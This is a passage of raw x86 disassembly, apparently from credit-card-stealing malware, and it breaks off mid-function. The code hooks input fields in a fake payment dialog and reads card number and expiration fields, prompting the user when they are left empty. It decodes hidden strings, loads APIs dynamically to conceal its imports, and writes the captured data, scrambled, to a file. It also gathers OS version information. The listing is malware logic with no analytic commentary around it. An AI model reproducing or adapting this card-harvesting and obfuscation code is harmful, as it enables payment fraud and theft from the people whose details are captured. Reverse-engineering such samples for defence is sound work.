var_104		= byte ptr -104h
var_103		= byte ptr -103h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 230h
		push	ebx
		push	esi
		push	edi
		mov	esi, [ebp+arg_0]
		mov	ebx, [ebp+arg_4]
		mov	eax, ebx
		cmp	eax, 100h
		jz	short loc_43A37E
		jl	loc_43A8C9
		cmp	eax, 111h
		jz	loc_43A418
		jmp	loc_43A8C9
; ---------------------------------------------------------------------------


loc_43A37E:				; CODE XREF: sub_43A34D+19j
		cmp	[ebp+arg_8], 9
		jnz	loc_43A8C9
		mov	edi, dword_44B12C
		sub	edi, 5
		jmp	short loc_43A3FE
; ---------------------------------------------------------------------------


loc_43A393:				; CODE XREF: sub_43A34D+C4j
		mov	eax, 30h
		mul	edi
		mov	[ebp+var_208], eax
		cmp	ds:dword_448380[eax], esi
		jnz	short loc_43A3C8
		mov	eax, 30h
		mul	edi
		mov	[ebp+var_20C], eax
		push	ds:dword_448384[eax]
		call	ds:dword_447A40	; SetFocus
		jmp	loc_43A8C9
; ---------------------------------------------------------------------------


loc_43A3C8:				; CODE XREF: sub_43A34D+5Aj
		mov	eax, 30h
		mul	edi
		mov	[ebp+var_20C], eax
		cmp	ds:dword_448384[eax], esi
		jnz	short loc_43A3FD
		mov	eax, 30h
		mul	edi
		mov	[ebp+var_210], eax
		push	ds:dword_448388[eax]
		call	ds:dword_447A40	; SetFocus
		jmp	loc_43A8C9
; ---------------------------------------------------------------------------


loc_43A3FD:				; CODE XREF: sub_43A34D+8Fj
		inc	edi


loc_43A3FE:				; CODE XREF: sub_43A34D+44j
		mov	eax, dword_44B1AC
		add	eax, 5Bh
		movsx	edx, word_44B0D8
		add	eax, edx
		cmp	edi, eax
		jb	short loc_43A393
		jmp	loc_43A8C9
; ---------------------------------------------------------------------------


loc_43A418:				; CODE XREF: sub_43A34D+26j
		mov	edi, dword_44B0CC
		dec	edi
		jmp	short loc_43A43B
; ---------------------------------------------------------------------------


loc_43A421:				; CODE XREF: sub_43A34D+FAj
		mov	eax, 30h
		mul	edi
		mov	[ebp+var_208], eax
		mov	eax, ds:dword_44838C[eax]
		cmp	[ebp+arg_C], eax
		jz	short loc_43A449
		inc	edi


loc_43A43B:				; CODE XREF: sub_43A34D+D2j
		movsx	eax, word_44B100
		add	eax, 5Bh
		cmp	edi, eax
		jb	short loc_43A421


loc_43A449:				; CODE XREF: sub_43A34D+EBj
		movsx	eax, word_44B194
		add	eax, 64h
		cmp	edi, eax
		jz	loc_43A8C9
		push	0FFh
		lea	eax, [ebp+var_103]
		push	eax
		mov	eax, 30h
		mul	edi
		mov	[ebp+var_20C], eax
		push	ds:dword_448378[eax]
		call	ds:dword_44ABA4	; GetWindowTextA
		mov	eax, dword_44B1B8
		mov	byte ptr [ebp+eax+var_208+1], 4Bh
		mov	eax, dword_44B1B0
		add	eax, dword_44B1C0
		mov	edx, dword_44B09C
		add	edx, dword_44B0EC
		sub	edx, 0Dh
		mov	byte ptr [ebp+eax+var_208+2], dl
		lea	eax, [ebp+var_103]
		push	eax
		lea	eax, [ebp+var_204]
		push	eax
		call	ds:dword_445020
		add	esp, 8
		push	0FFh
		lea	eax, [ebp+var_103]
		push	eax
		mov	eax, 30h
		mul	edi
		mov	[ebp+var_210], eax
		push	ds:dword_448380[eax]
		call	ds:dword_44ABA4	; GetWindowTextA
		mov	eax, dword_44B198
		movsx	edx, word_44B1A8
		add	eax, edx
		movsx	eax, [ebp+eax+var_10B]
		movsx	edx, word_44B16C
		add	edx, dword_44B0A4
		sub	edx, 6
		cmp	eax, edx
		jnz	short loc_43A54D
		mov	eax, dword_44B17C
		sub	eax, 6
		push	eax
		push	0
		push	offset aPleaseSelectEx ; "Please, select Expiration Month"
		push	0
		call	ds:dword_44A640	; MessageBoxA
		mov	eax, 30h
		mul	edi
		mov	[ebp+var_214], eax
		push	ds:dword_448380[eax]
		call	ds:dword_447A40	; SetFocus
		jmp	loc_43A8C9
; ---------------------------------------------------------------------------


loc_43A54D:				; CODE XREF: sub_43A34D+1C7j
		push	offset word_44C832
		call	sub_4424C1
		push	eax
		lea	edx, [ebp+var_204]
		push	edx
		call	ds:dword_445020
		lea	eax, [ebp+var_103]
		push	eax
		lea	eax, [ebp+var_204]
		push	eax
		call	ds:dword_445020
		add	esp, 14h
		push	0FFh
		lea	eax, [ebp+var_103]
		push	eax
		mov	eax, 30h
		mul	edi
		mov	[ebp+var_214], eax
		push	ds:dword_448384[eax]
		call	ds:dword_44ABA4	; GetWindowTextA
		mov	eax, dword_44B0AC
		add	eax, dword_44B1CC
		movsx	eax, [ebp+eax+var_10A]
		mov	edx, dword_44B0E4
		sub	edx, 2
		cmp	eax, edx
		jnz	short loc_43A5FF
		mov	eax, dword_44B18C
		add	eax, dword_44B1C8
		sub	eax, 3
		push	eax
		push	0
		push	offset aPleaseSelect_0 ; "Please, select Expiration Year"
		push	0
		call	ds:dword_44A640	; MessageBoxA
		mov	eax, 30h
		mul	edi
		mov	[ebp+var_218], eax
		push	ds:dword_448384[eax]
		call	ds:dword_447A40	; SetFocus
		jmp	loc_43A8C9
; ---------------------------------------------------------------------------


loc_43A5FF:				; CODE XREF: sub_43A34D+273j
		push	offset word_44C80E
		call	sub_4424C1
		push	eax
		lea	edx, [ebp+var_204]
		push	edx
		call	ds:dword_445020
		lea	eax, [ebp+var_103]
		push	eax
		lea	eax, [ebp+var_204]
		push	eax
		call	ds:dword_445020
		add	esp, 14h
		push	0FFh
		lea	eax, [ebp+var_103]
		push	eax
		mov	eax, 30h
		mul	edi
		mov	[ebp+var_218], eax
		push	ds:dword_448388[eax]
		call	ds:dword_44ABA4	; GetWindowTextA
		movsx	eax, word_44B194
		add	eax, dword_44B188
		movsx	eax, [ebp+eax+var_103]
		mov	edx, dword_44B09C
		sub	edx, 8
		cmp	eax, edx
		jz	loc_43A7AC
		lea	ecx, [ebp+var_103]
		or	eax, 0FFFFFFFFh


loc_43A683:				; CODE XREF: sub_43A34D+33Bj
		inc	eax
		cmp	byte ptr [ecx+eax], 0
		jnz	short loc_43A683
		mov	edx, eax
		mov	ecx, dword_44B1B8
		movsx	eax, word_44B100
		add	ecx, eax
		sub	ecx, 8
		cmp	edx, ecx
		jb	loc_43A7AC
		mov	eax, dword_44B0C4
		add	eax, dword_44B0F0
		sub	eax, 8
		mov	[ebp+var_105], al
		jmp	short loc_43A6DE
; ---------------------------------------------------------------------------


loc_43A6BC:				; CODE XREF: sub_43A34D+3AAj
		movzx	eax, [ebp+var_105]
		mov	al, [ebp+eax+var_103]
		cmp	al, 30h
		jl	short loc_43A6D2
		cmp	al, 39h
		jle	short loc_43A6D7


loc_43A6D2:				; CODE XREF: sub_43A34D+37Fj
		jmp	loc_43A7AC
; ---------------------------------------------------------------------------


loc_43A6D7:				; CODE XREF: sub_43A34D+383j
		add	[ebp+var_105], 1


loc_43A6DE:				; CODE XREF: sub_43A34D+36Dj
		lea	ecx, [ebp+var_103]
		or	eax, 0FFFFFFFFh


loc_43A6E7:				; CODE XREF: sub_43A34D+39Fj
		inc	eax
		cmp	byte ptr [ecx+eax], 0
		jnz	short loc_43A6E7
		movzx	ecx, [ebp+var_105]
		cmp	ecx, eax
		jb	short loc_43A6BC
		movsx	eax, word_44B0D8
		add	eax, dword_44B0D4
		sub	eax, 6
		mov	[ebp+var_104], al
		jmp	short loc_43A788
; ---------------------------------------------------------------------------


loc_43A711:				; CODE XREF: sub_43A34D+454j
		mov	al, [ebp+var_104]
		mov	[ebp+var_219], al
		jmp	short loc_43A748
; ---------------------------------------------------------------------------


loc_43A71F:				; CODE XREF: sub_43A34D+414j
		movzx	eax, [ebp+var_219]
		movsx	eax, [ebp+eax+var_103]
		movzx	edx, [ebp+var_104]
		movsx	edx, [ebp+edx+var_103]
		cmp	eax, edx
		jnz	short loc_43A763
		add	[ebp+var_219], 1


loc_43A748:				; CODE XREF: sub_43A34D+3D0j
		lea	ecx, [ebp+var_103]
		or	eax, 0FFFFFFFFh


loc_43A751:				; CODE XREF: sub_43A34D+409j
		inc	eax
		cmp	byte ptr [ecx+eax], 0
		jnz	short loc_43A751
		movzx	ecx, [ebp+var_219]
		cmp	ecx, eax
		jb	short loc_43A71F


loc_43A763:				; CODE XREF: sub_43A34D+3F2j
		movzx	eax, [ebp+var_219]
		movzx	edx, [ebp+var_104]
		sub	eax, edx
		movsx	edx, word_44B0C8
		sub	edx, 4
		cmp	eax, edx
		jg	short loc_43A7AC
		add	[ebp+var_104], 1


loc_43A788:				; CODE XREF: sub_43A34D+3C2j
		lea	ecx, [ebp+var_103]
		or	eax, 0FFFFFFFFh


loc_43A791:				; CODE XREF: sub_43A34D+449j
		inc	eax
		cmp	byte ptr [ecx+eax], 0
		jnz	short loc_43A791
		movzx	ecx, [ebp+var_104]
		cmp	ecx, eax
		jb	loc_43A711
		jmp	loc_43A842
; ---------------------------------------------------------------------------


loc_43A7AC:				; CODE XREF: sub_43A34D+327j
					; sub_43A34D+353j ...
		movsx	eax, word_44B0C8
		add	eax, 7C9h
		push	eax
		call	ds:dword_44A630
		push	offset a5	; "5"
		call	sub_4424C1
		mov	[ebp-21Ch], eax
		push	offset word_44C7BE
		call	sub_4424C1
		mov	edx, dword_44B18C
		add	edx, dword_44B174
		sub	edx, 0Ah
		push	edx
		push	eax
		mov	edx, [ebp-21Ch]
		push	edx
		push	0
		call	ds:dword_44A640	; MessageBoxA
		push	offset word_44C7BA
		call	sub_4424C1
		add	esp, 10h
		push	eax
		mov	eax, 30h
		mul	edi
		mov	[ebp+var_220], eax
		mov	edx, eax
		push	ds:dword_448388[edx]
		call	ds:dword_44A654	; SetWindowTextA
		mov	eax, 30h
		mul	edi
		mov	[ebp+var_224], eax
		push	ds:dword_448388[eax]
		call	ds:dword_447A40	; SetFocus
		jmp	loc_43A8C9
; ---------------------------------------------------------------------------


loc_43A842:				; CODE XREF: sub_43A34D+45Aj
		push	offset byte_44C7B5
		call	sub_4424C1
		push	eax
		lea	edx, [ebp+var_204]
		push	edx
		call	ds:dword_445020
		lea	eax, [ebp+var_103]
		push	eax
		lea	eax, [ebp+var_204]
		push	eax
		call	ds:dword_445020
		mov	eax, 30h
		mul	edi
		mov	[ebp+var_228], eax
		push	ds:dword_448378[eax]
		call	ds:dword_448224	; DestroyWindow
		lea	eax, [ebp+var_204]
		push	eax
		call	ds:dword_44504C
		add	esp, 18h
		push	5
		mov	eax, 30h
		mul	edi
		mov	[ebp+var_22C], eax
		push	ds:dword_448374[eax]
		call	ds:dword_44A658	; ShowWindow
		mov	eax, 30h
		mul	edi
		mov	[ebp+var_230], eax
		and	ds:dword_448370[eax], 0


loc_43A8C9:				; CODE XREF: sub_43A34D+1Bj
					; sub_43A34D+2Cj ...
		mov	edi, dword_44B124
		dec	edi
		jmp	loc_43A9A9
; ---------------------------------------------------------------------------


loc_43A8D5:				; CODE XREF: sub_43A34D+666j
		mov	eax, 30h
		mul	edi
		mov	[ebp+var_8], eax
		cmp	esi, ds:dword_448380[eax]
		jnz	short loc_43A90C
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	ebx
		push	esi
		mov	eax, 30h
		mul	edi
		mov	[ebp+var_C], eax
		push	ds:dword_448390[eax]
		call	ds:dword_44A60C	; CallWindowProcA
		jmp	loc_43A9B9
; ---------------------------------------------------------------------------


loc_43A90C:				; CODE XREF: sub_43A34D+599j
		mov	eax, 30h
		mul	edi
		mov	[ebp+var_10], eax
		cmp	esi, ds:dword_448384[eax]
		jnz	short loc_43A940
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	ebx
		push	esi
		mov	eax, 30h
		mul	edi
		mov	[ebp+var_14], eax
		push	ds:dword_448394[eax]
		call	ds:dword_44A60C	; CallWindowProcA
		jmp	short loc_43A9B9
; ---------------------------------------------------------------------------


loc_43A940:				; CODE XREF: sub_43A34D+5D0j
		mov	eax, 30h
		mul	edi
		mov	[ebp+var_18], eax
		cmp	esi, ds:dword_448388[eax]
		jnz	short loc_43A974
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	ebx
		push	esi
		mov	eax, 30h
		mul	edi
		mov	[ebp+var_1C], eax
		push	ds:dword_448398[eax]
		call	ds:dword_44A60C	; CallWindowProcA
		jmp	short loc_43A9B9
; ---------------------------------------------------------------------------


loc_43A974:				; CODE XREF: sub_43A34D+604j
		mov	eax, 30h
		mul	edi
		mov	[ebp+var_20], eax
		cmp	esi, ds:dword_44837C[eax]
		jnz	short loc_43A9A8
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	ebx
		push	esi
		mov	eax, 30h
		mul	edi
		mov	[ebp+var_24], eax
		push	ds:dword_44839C[eax]
		call	ds:dword_44A60C	; CallWindowProcA
		jmp	short loc_43A9B9
; ---------------------------------------------------------------------------


loc_43A9A8:				; CODE XREF: sub_43A34D+638j
		inc	edi


loc_43A9A9:				; CODE XREF: sub_43A34D+583j
		mov	eax, dword_44B13C
		add	eax, 62h
		cmp	edi, eax
		jb	loc_43A8D5


loc_43A9B9:				; CODE XREF: sub_43A34D+5BAj
					; sub_43A34D+5F1j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	10h
sub_43A34D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_43A9C0	proc near		; CODE XREF: sub_43B780+17Dp
					; sub_43F0EA+CCp ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		mov	ebx, [ebp+arg_0]
		mov	esi, [ebp+arg_4]
		push	ebx
		call	ds:dword_445000	; lstrlenW
		mov	edi, eax
		push	0
		push	0
		movsx	eax, word_44B154
		add	eax, 1FF7h
		push	eax
		push	esi
		push	edi
		push	ebx
		mov	eax, dword_44B1C0
		sub	eax, 3
		push	eax
		push	0
		call	ds:dword_44500C	; WideCharToMultiByte
		mov	eax, dword_44B138
		add	eax, dword_44B120
		sub	eax, 0Ah
		mov	[esi+edi], al
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_43A9C0	endp


; =============== S U B	R O U T	I N E =======================================



sub_43AA12	proc near		; CODE XREF: sub_442C0A+11p
		push	edi
		push	offset dword_44C7A8
		call	sub_4424C1
		pop	ecx
		push	eax
		call	ds:dword_4475E8	; GetModuleHandleA
		mov	dword_44B1E0, eax
		test	eax, eax
		jnz	short loc_43AA45
		push	offset byte_44C79B
		call	sub_4424C1
		pop	ecx
		push	eax
		call	ds:dword_448244	; LoadLibraryA
		mov	dword_44B1E0, eax


loc_43AA45:				; CODE XREF: sub_43AA12+1Aj
		push	offset dword_44C78C
		call	sub_4424C1
		push	eax
		push	dword_44B1E0
		call	ds:dword_4471F8	; GetProcAddress
		mov	ds:dword_448250, eax
		push	offset word_44C77A
		call	sub_4424C1
		add	esp, 8
		push	eax
		push	dword_44B1E0
		call	ds:dword_4471F8	; GetProcAddress
		mov	ds:dword_446120, eax
		pop	edi
		retn
sub_43AA12	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_43AA82	proc near		; DATA XREF: .data:0044B298o
		push	ebp
		mov	ebp, esp
		push	offset dword_44A784
		call	ds:dword_447A3C	; InterlockedIncrement
		mov	eax, ds:dword_44A784
		pop	ebp
		retn	4
sub_43AA82	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_43AA99	proc near		; DATA XREF: sub_43B52C+6Bo
					; sub_43B52C+76o

var_118		= dword	ptr -118h
var_114		= dword	ptr -114h
var_110		= byte ptr -110h
var_C		= byte ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 118h
		push	ebx
		push	esi
		push	edi
		movsx	eax, word_44B090
		add	eax, dword_44B1AC
		sub	eax, 5
		mov	edx, [ebp+arg_0]
		cmp	byte ptr [edx+eax], 4Bh
		jnz	short loc_43AAD1
		push	offset dword_4470F0
		lea	eax, [ebp+var_110]
		push	eax
		call	sub_444B60
		jmp	short loc_43AAE2
; ---------------------------------------------------------------------------


loc_43AAD1:				; CODE XREF: sub_43AA99+23j
		push	offset dword_448260
		lea	eax, [ebp+var_110]
		push	eax
		call	sub_444B60


loc_43AAE2:				; CODE XREF: sub_43AA99+36j
		push	0
		mov	eax, dword_44B1C8
		movsx	edx, word_44B194
		add	eax, edx
		sub	eax, 2
		push	eax
		push	4
		push	0
		movsx	eax, word_44B0E0
		add	eax, dword_44B124
		dec	eax
		push	eax
		push	40000000h
		lea	eax, [ebp+var_110]
		push	eax
		call	ds:dword_44A788	; CreateFileA
		mov	[ebp+var_8], eax
		push	2
		push	0
		mov	eax, dword_44B1C8
		sub	eax, 2
		push	eax
		push	[ebp+var_8]
		call	ds:dword_44AB9C	; SetFilePointer
		push	offset word_44C772
		call	sub_4424C1
		pop	ecx
		push	0
		lea	edx, [ebp+var_C]
		push	edx
		movsx	edx, word_44B16C
		movsx	ecx, word_44B1BC
		add	edx, ecx
		sub	edx, 6
		push	edx
		push	eax
		push	[ebp+var_8]
		call	ds:dword_44AB8C	; WriteFile
		push	493E0h
		push	40h
		call	ds:dword_447A34	; LocalAlloc
		mov	ebx, eax
		push	61A80h
		push	40h
		call	ds:dword_447A34	; LocalAlloc
		mov	esi, eax
		movsx	eax, word_44B0E0
		add	eax, dword_44B0B4
		sub	eax, 8
		mov	edx, [ebp+arg_0]
		cmp	byte ptr [edx+eax], 4Bh
		jnz	short loc_43ABA7
		mov	eax, [ebp+arg_0]
		inc	eax
		push	eax
		push	ebx
		call	sub_444B60
		jmp	short loc_43ABB0
; ---------------------------------------------------------------------------


loc_43ABA7:				; CODE XREF: sub_43AA99+FFj
		push	[ebp+arg_0]
		push	ebx
		call	sub_444B60


loc_43ABB0:				; CODE XREF: sub_43AA99+10Cj
		mov	ecx, ebx
		or	eax, 0FFFFFFFFh


loc_43ABB5:				; CODE XREF: sub_43AA99+121j
		inc	eax
		cmp	byte ptr [ecx+eax], 0
		jnz	short loc_43ABB5
		mov	[ebp+var_4], eax
		mov	eax, dword_44B0CC
		mov	edi, eax
		add	edi, dword_44B184
		sub	edi, 7
		jmp	short loc_43ABF7
; ---------------------------------------------------------------------------


loc_43ABD1:				; CODE XREF: sub_43AA99+161j
		movzx	eax, byte ptr [ebx+edi]
		mov	[ebp+var_114], eax
		mov	eax, edi
		mul	edi
		mov	[ebp+var_118], eax
		mov	eax, [ebp+var_114]
		mov	edx, [ebp+var_118]
		add	eax, edx
		mov	[ebx+edi], al
		inc	edi


loc_43ABF7:				; CODE XREF: sub_43AA99+136j
		cmp	edi, [ebp+var_4]
		jb	short loc_43ABD1
		mov	eax, dword_44B12C
		add	eax, 61A73h
		movsx	edx, word_44B154
		add	eax, edx
		push	eax
		push	esi
		push	[ebp+var_4]
		push	ebx
		call	sub_43B3A7
		add	esp, 10h
		mov	eax, dword_44B0C0
		mov	edi, eax
		add	edi, dword_44B1AC
		sub	edi, 5
		jmp	short loc_43AC44
; ---------------------------------------------------------------------------


loc_43AC2F:				; CODE XREF: sub_43AA99+1B9j
		cmp	byte ptr [esi+edi], 2Bh
		jnz	short loc_43AC39
		mov	byte ptr [esi+edi], 28h


loc_43AC39:				; CODE XREF: sub_43AA99+19Aj
		cmp	byte ptr [esi+edi], 3Dh
		jnz	short loc_43AC43
		mov	byte ptr [esi+edi], 29h


loc_43AC43:				; CODE XREF: sub_43AA99+1A4j
		inc	edi


loc_43AC44:				; CODE XREF: sub_43AA99+194j
		mov	ecx, esi
		or	eax, 0FFFFFFFFh


loc_43AC49:				; CODE XREF: sub_43AA99+1B5j
		inc	eax
		cmp	byte ptr [ecx+eax], 0
		jnz	short loc_43AC49
		cmp	edi, eax
		jb	short loc_43AC2F
		mov	eax, dword_44B174
		sub	eax, 9
		mov	edx, [ebp+arg_0]
		cmp	byte ptr [edx+eax], 4Bh
		jnz	short loc_43AC82
		push	0
		lea	eax, [ebp+var_C]
		push	eax
		mov	eax, dword_44B0FC
		sub	eax, 6
		push	eax
		push	offset asc_44C770 ; "*"
		push	[ebp+var_8]
		call	ds:dword_44AB8C	; WriteFile


loc_43AC82:				; CODE XREF: sub_43AA99+1CAj
		mov	ecx, esi
		or	eax, 0FFFFFFFFh


loc_43AC87:				; CODE XREF: sub_43AA99+1F3j
		inc	eax
		cmp	byte ptr [ecx+eax], 0
		jnz	short loc_43AC87
		push	0
		lea	edx, [ebp+var_C]
		push	edx
		movsx	edx, word_44B168
		sub	edx, 7
		mov	edi, eax
		add	edi, edx
		push	edi
		push	esi
		push	[ebp+var_8]
		call	ds:dword_44AB8C	; WriteFile
		push	[ebp+var_8]
		call	ds:dword_449650	; CloseHandle
		push	ebx
		call	ds:dword_447618	; LocalFree
		push	esi
		call	ds:dword_447618	; LocalFree
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_43AA99	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_43ACC9	proc near		; CODE XREF: sub_44287C+18p
					; sub_443589+165p ...

var_8		= dword	ptr -8
var_4		= byte ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	eax
		push	ebx
		push	esi
		push	edi
		push	0
		push	80h
		push	3
		push	0
		push	3
		push	80000000h
		push	[ebp+arg_0]
		call	ds:dword_44A788	; CreateFileA
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		jnz	short loc_43AD11
		cmp	[ebp+arg_4], 0
		jz	short loc_43AD0D
		mov	eax, [ebp+arg_4]
		mov	edx, dword_44B0F8
		add	edx, dword_44B09C
		sub	edx, 0Ah
		mov	[eax], edx


loc_43AD0D:				; CODE XREF: sub_43ACC9+2Ej
		xor	eax, eax
		jmp	short loc_43AD55
; ---------------------------------------------------------------------------


loc_43AD11:				; CODE XREF: sub_43ACC9+28j
		push	0
		push	edi
		call	ds:dword_44A624	; GetFileSize
		mov	esi, eax
		add	eax, 10h
		push	eax
		push	40h
		call	ds:dword_447A34	; LocalAlloc
		mov	ebx, eax
		push	0
		cmp	[ebp+arg_4], 0
		jz	short loc_43AD3A
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_8], eax
		jmp	short loc_43AD40
; ---------------------------------------------------------------------------


loc_43AD3A:				; CODE XREF: sub_43ACC9+67j
		lea	eax, [ebp+var_4]
		mov	[ebp+var_8], eax


loc_43AD40:				; CODE XREF: sub_43ACC9+6Fj
		push	[ebp+var_8]
		push	esi
		push	ebx
		push	edi
		call	ds:dword_445028	; ReadFile
		push	edi
		call	ds:dword_449650	; CloseHandle
		mov	eax, ebx


loc_43AD55:				; CODE XREF: sub_43ACC9+46j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_43ACC9	endp


; =============== S U B	R O U T	I N E =======================================



sub_43AD5A	proc near		; CODE XREF: sub_442C0A+2Ap
		push	edi
		push	offset byte_44C761
		call	sub_4424C1
		pop	ecx
		push	eax
		call	ds:dword_4475E8	; GetModuleHandleA
		mov	dword_44B1F4, eax
		test	eax, eax
		jnz	short loc_43AD8D
		push	offset word_44C752
		call	sub_4424C1
		pop	ecx
		push	eax
		call	ds:dword_448244	; LoadLibraryA
		mov	dword_44B1F4, eax


loc_43AD8D:				; CODE XREF: sub_43AD5A+1Aj
		push	offset word_44C73E
		call	sub_4424C1
		pop	ecx
		push	eax
		push	dword_44B1F4
		call	ds:dword_4471F8	; GetProcAddress
		mov	ds:dword_447A44, eax
		pop	edi
		retn
sub_43AD5A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_43ADAC	proc near		; CODE XREF: sub_43B52C+17Fp

var_170		= byte ptr -170h
var_16C		= dword	ptr -16Ch
var_168		= byte ptr -168h
var_104		= byte ptr -104h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 170h
		push	esi
		push	edi
		push	104h
		lea	eax, [ebp+var_104]
		push	eax
		call	ds:dword_4475FC	; GetSystemDirectoryA
		lea	eax, [ebp+var_168]
		push	eax
		call	sub_43BFE5
		push	offset byte_44C739
		call	sub_4424C1
		push	eax
		lea	esi, [ebp+var_104]
		push	esi
		call	ds:dword_445020
		lea	eax, [ebp+var_168]
		push	eax
		lea	eax, [ebp+var_104]
		push	eax
		call	ds:dword_445020
		push	offset byte_44C731
		call	sub_4424C1
		push	eax
		lea	esi, [ebp+var_104]
		push	esi
		call	ds:dword_445020
		add	esp, 24h
		push	0
		movsx	eax, word_44B100
		add	eax, dword_44B0E4
		sub	eax, 0Bh
		push	eax
		push	3
		push	0
		mov	eax, dword_44B160
		sub	eax, 8
		push	eax
		push	80000000h
		lea	eax, [ebp+var_104]
		push	eax
		call	ds:dword_44A788	; CreateFileA
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		jnz	short loc_43AE6F
		mov	eax, dword_44B160
		sub	eax, 8
		mov	edx, [ebp+arg_0]
		movsx	ecx, word_44B0B0
		sub	ecx, 8
		mov	[edx+eax], cl
		jmp	short loc_43AED3
; ---------------------------------------------------------------------------


loc_43AE6F:				; CODE XREF: sub_43ADAC+A7j
		push	0
		push	0
		push	[ebp+arg_4]
		push	edi
		call	ds:dword_44AB9C	; SetFilePointer
		push	0
		lea	eax, [ebp+var_170]
		push	eax
		movsx	eax, word_44B0B0
		mov	edx, dword_44B124
		lea	eax, [eax+edx+0Bh]
		push	eax
		push	[ebp+arg_0]
		push	edi
		call	ds:dword_445028	; ReadFile
		mov	[ebp+var_16C], eax
		push	edi
		call	ds:dword_449650	; CloseHandle
		mov	eax, dword_44B0C4
		sub	eax, 4
		cmp	[ebp+var_16C], eax
		jnz	short loc_43AED3
		mov	eax, dword_44B130
		mov	edx, [ebp+arg_0]
		mov	ecx, dword_44B1C4
		sub	ecx, 5
		mov	[edx+eax], cl


loc_43AED3:				; CODE XREF: sub_43ADAC+C1j
					; sub_43ADAC+111j
		pop	edi
		pop	esi
		leave
		retn
sub_43ADAC	endp


; =============== S U B	R O U T	I N E =======================================



sub_43AED7	proc near		; CODE XREF: sub_442C0A+1Bp
		push	edi
		push	offset byte_44C721
		call	sub_4424C1
		pop	ecx
		push	eax
		call	ds:dword_4475E8	; GetModuleHandleA
		mov	dword_44B1E8, eax
		test	eax, eax
		jnz	short loc_43AF0A
		push	offset byte_44C711
		call	sub_4424C1
		pop	ecx
		push	eax
		call	ds:dword_448244	; LoadLibraryA
		mov	dword_44B1E8, eax


loc_43AF0A:				; CODE XREF: sub_43AED7+1Aj
		push	offset byte_44C6FF
		call	sub_4424C1
		push	eax
		push	dword_44B1E8
		call	ds:dword_4471F8	; GetProcAddress
		mov	ds:dword_445044, eax
		push	offset word_44C6EE
		call	sub_4424C1
		push	eax
		push	dword_44B1E8
		call	ds:dword_4471F8	; GetProcAddress
		mov	ds:dword_44ABA0, eax
		push	offset word_44C6DE
		call	sub_4424C1
		push	eax
		push	dword_44B1E8
		call	ds:dword_4471F8	; GetProcAddress
		mov	ds:dword_44ABB0, eax
		push	offset byte_44C6CF
		call	sub_4424C1
		push	eax
		push	dword_44B1E8
		call	ds:dword_4471F8	; GetProcAddress
		mov	ds:dword_445038, eax
		push	offset byte_44C6BF
		call	sub_4424C1
		add	esp, 14h
		push	eax
		push	dword_44B1E8
		call	ds:dword_4471F8	; GetProcAddress
		mov	ds:dword_448254, eax
		pop	edi
		retn
sub_43AED7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_43AF9B	proc near		; CODE XREF: sub_43C281+D1p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	offset dword_44B250
		push	offset dword_44B210
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_4440F8
		pop	ebp
		retn
sub_43AF9B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_43AFB5	proc near		; CODE XREF: sub_43B52C+91p

var_1AC		= dword	ptr -1ACh
var_1A8		= byte ptr -1A8h
var_1A4		= dword	ptr -1A4h
var_1A0		= dword	ptr -1A0h
var_19C		= byte ptr -19Ch
var_198		= dword	ptr -198h
var_193		= dword	ptr -193h
var_18F		= dword	ptr -18Fh
var_18B		= dword	ptr -18Bh
var_187		= dword	ptr -187h
var_183		= dword	ptr -183h
var_FF		= byte ptr -0FFh
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 1ACh
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		mov	byte ptr [edi],	0
		mov	[ebp+var_193], 94h
		lea	eax, [ebp+var_193]
		push	eax
		call	ds:dword_44AB98	; GetVersionExA
		cmp	[ebp+var_183], 1
		jnz	short loc_43AFFB
		push	offset byte_44C6B9
		call	sub_4424C1
		push	eax
		push	edi
		call	ds:dword_445020
		add	esp, 0Ch


loc_43AFFB:				; CODE XREF: sub_43AFB5+2Fj
		cmp	[ebp+var_183], 2
		jnz	short loc_43B019
		push	offset byte_44C6B3
		call	sub_4424C1
		push	eax
		push	edi
		call	ds:dword_44A634
		add	esp, 0Ch


loc_43B019:				; CODE XREF: sub_43AFB5+4Dj
		push	offset byte_44C6A7
		call	sub_4424C1
		push	[ebp+var_187]
		push	[ebp+var_18B]
		push	[ebp+var_18F]
		push	eax
		lea	esi, [ebp+var_FF]
